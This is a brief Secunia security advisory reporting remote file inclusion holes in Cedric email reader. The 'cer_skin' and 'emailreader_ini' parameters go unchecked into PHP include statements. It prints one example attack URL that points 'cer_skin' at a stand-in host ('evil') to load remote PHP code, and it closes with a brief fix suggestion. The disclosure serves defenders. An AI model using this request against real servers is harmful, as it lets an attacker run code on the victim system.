Secunia

Cedric email reader allows malicious users to include arbitrary code.

The problem is that the parameter 'cer_skin' isn't verified, before being used in an include statement, this allows attackers to supply arbitrary paths to php code, such as:
http://victim/email.php?login=attacker&cer_skin=http://evil/somecode.php

Version 0.4 also suffers a similar vulnerability in the '/webmail/lib/emailreader_execute_on_each_page.inc.php' file, it doesn't verify the 'emailreader_ini' parameter, this could be exploited in a similar way as 'email.php'.

Solution
If you allow untrusted users access to Cedric email reader you ought to review the code and implement much more input validation.

Provided and/or discovered by
MGhz

Deep Links
Links available in Customer Area